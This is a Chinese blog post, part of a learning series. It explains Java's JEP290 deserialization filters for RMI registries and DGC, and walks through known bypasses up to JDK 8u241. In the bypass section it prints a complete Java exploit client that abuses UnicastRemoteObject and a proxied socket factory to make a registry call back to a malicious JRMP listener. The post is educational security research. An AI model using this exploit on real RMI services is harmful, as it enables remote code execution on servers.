https://img2024.cnblogs.com/blog/3305226/202503/3305226-20250331155133325-143341361.jpg

RMI反序列化攻击学习(3)

RMI攻击学习(3)

这篇说JEP290出现之后的攻击

JEP290

  1. 提供一个限制反序列化类的机制,白名单或者黑名单。
  2. 限制反序列化的深度和复杂度。
  3. 为 RMI 远程调用对象提供了一个验证类的机制。
  4. 定义一个可配置的过滤机制,比如可以通过配置 properties 文件的形式来定义过滤器。

这篇主要说对RMI攻击的影响

而在JDK 6u141、JDK 7u131、JDK 8u121版本进行了更新,引入了JEP290

这里简单说一下

主要在ObjectInputStream中增加了serialFilter(接口类型为ObjectInputFilter)和filterCheck方法

其中主要是用checkInput方法判断能否允许反序列化,参数为一个FilterValues封装了一些反序列化的信息

image-20250421183440012

过滤的具体流程

首先我们先分析注册中心和DGC的过滤,两者处理请求类似,但是在分析时发现两者对过滤器的处理是有些许差别

首先看一下服务端判断请求然后设置过滤器的地方,处理Registry和DGC时都会进入oldDispatch方法,然后调用unmarshalCustomCallData()

image-20250421184334552

然后使用了UnicastServerRef中的filter作为过滤器

image-20250421184435546

注册中心设置过滤器的时机:在创建注册中心时装进UnicastServerRef

其中这些类被过滤

 return String.class != var2 &&
    !Number.class.isAssignableFrom(var2) &&
    !Remote.class.isAssignableFrom(var2) &&
    !Proxy.class.isAssignableFrom(var2) &&
    !UnicastRef.class.isAssignableFrom(var2) &&
    !RMIClientSocketFactory.class.isAssignableFrom(var2) &&
    !RMIServerSocketFactory.class.isAssignableFrom(var2) &&
    !ActivationID.class.isAssignableFrom(var2) &&
    !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;

真正反序列化时即会过滤,如下函数栈即可了解

image-20250421185137931

而DGC则是通过动态重写过滤函数实现

image-20250421191630080

return  var2 != ObjID.class &&
        var2 != UID.class &&
        var2 != VMID.class &&
        var2 != Lease.class ? Status.REJECTED : Status.ALLOWED;

JEP290 Bypass

直接对服务端进行攻击

条件:知道服务端的方法名和参数类型即可,如果不是Object,通过之前说的debugger方式或者其他方式均可以绕过

我们直接看服务端发布远程任务

RemoteObjImpl remoteObj = new RemoteObjImpl();

其中并没有对filter赋值,后面也没有对filter进行赋值,导致可以直接攻击服务端

image-20250421204135226

exploit.JRMPListener+payload.JRMPClient(8u121-8u231)

上文说到的伪造服务端攻击客户端仍然是可以的 利用了两个条件进行了绕过

1.UnicastRef,Remote是在白名单内的,我们使用的是上文说的RemoteObject反序列化链是可以通过白名单校验的,到DGCImpl_Stub#dirty发送DGC请求

2.DGC客户端请求并未对反序列化做处理 ,上文把ysoserial.exploit.JRMPListener已经分析过了不赘述了,通过返回异常恶意类攻击作为客户端的

image-20250421194420201

未配置过滤器

image-20250421195441984

所以在8u231中加入了白名单,我们使用的javax.management.BadAttributeValueExpException无法通过

image-20250421210411946

image-20250421210338005

8u231~8u241 Bypass

整个流程是这样的,其实可以看到上面防御的手段是在invoke(里面是executeCall反序列化恶意代码)前面加上了过滤器对DGC实现了防御,所以如果是其他地方出现UnicastRef.invok()仍会出现漏洞

我们发现RemoteObjectInvokercationHandler.invokeRemoteMethod可以调用UnicastRef.invoke,其实很熟悉

image-20250424130013422

自身的invoke方法中会调用此函数,又是个代理类,所以我们只要在白名单的反序列化中找委托类的任意调用即可完成

image-20250424130104233

白名单可以找到如下函数。UnicastRemoteObject继承Remote,

image-20250424130303605

而我们找的则是ssf这个委托类,可控 (RMIServerSocketFactory ssf)

image-20250424130421742

在最后的newServerSocket会调用createServerSocket ,随后进入invoke方法执行上述所说的过程,反序列化收到的恶意payload

image-20250424130550035

这里的UnicastRemoteObject类如何反序列化过去,只能通过攻击注册中心,因为DGC的过滤器中没有Remote的白名单。

然而客户端bind的序列化过程中会出现一点问题,也好理解,因为我们的bind绑定的都是动态代理,UnicastRemoteObject不是动态代理会被转化为RemoteObjectInvokerHandler,到服务端也就无法正确反序列化,但客户端是完全可操作的,所以重写bind方法加上反射修改enableOverride即可

image-20250424131336637

最后的payload:

public class RMIClient {
    public static void main(String[] args) throws Exception {
        //创建UnicastRemoteObject类
        UnicastRef ref = new UnicastRef(new LiveRef(new ObjID(new Random().nextInt()),new TCPEndpoint("127.0.0.1",7777),false));
        System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");
        //创建代理器
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
        //代理ssf
        RMIServerSocketFactory factory = (RMIServerSocketFactory) Proxy.newProxyInstance(
                handler.getClass().getClassLoader(),
                new Class[]{RMIServerSocketFactory.class},
                handler
        );
        Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor();
        constructor.setAccessible(true);
        UnicastRemoteObject unicastRemoteObject = constructor.newInstance();
        Field field_ssf = UnicastRemoteObject.class.getDeclaredField("ssf");
        field_ssf.setAccessible(true);
        field_ssf.set(unicastRemoteObject, factory);
        //绑定注册中心
        Registry registry = LocateRegistry.getRegistry(1099);
        //重写bind方法
        Field ref_filed = RemoteObject.class.getDeclaredField("ref");
        ref_filed.setAccessible(true);
        UnicastRef ref1 = (UnicastRef) ref_filed.get(registry);
        Field operations_filed = RegistryImpl_Stub.class.getDeclaredField("operations");
        operations_filed.setAccessible(true);
        Operation[] operations = (Operation[]) operations_filed.get(registry);
        RemoteCall remoteCall = ref.newCall((RemoteObject) registry, operations, 0, 4905912898345647071L);
        ObjectOutput outputStream = remoteCall.getOutputStream();
        Field enableReplace_filed = ObjectOutputStream.class.getDeclaredField("enableReplace");
        enableReplace_filed.setAccessible(true);
        outputStream.writeObject("hello");
        outputStream.writeObject(unicastRemoteObject);
        ref.invoke(remoteCall);
        ref.done(remoteCall);
    }
}

修复:8u241中服务都调用invoke之前会判断代理的方法接口与Remote关系,导致Unicast.invoke不再能调用,不能通过上述方法向外发送JRMP请求

image-20250424133650157

参考:
https://www.anquanke.com/post/id/259059#h3-11
https://su18.org/post/rmi-attack/#3-remoteobject
https://www.cnblogs.com/R0ser1/p/16757433.html#通过rasp-bypass原理object参数

posted @ 2025-04-24 14:14  kudo4869  阅读(68)  评论(0)    收藏  举报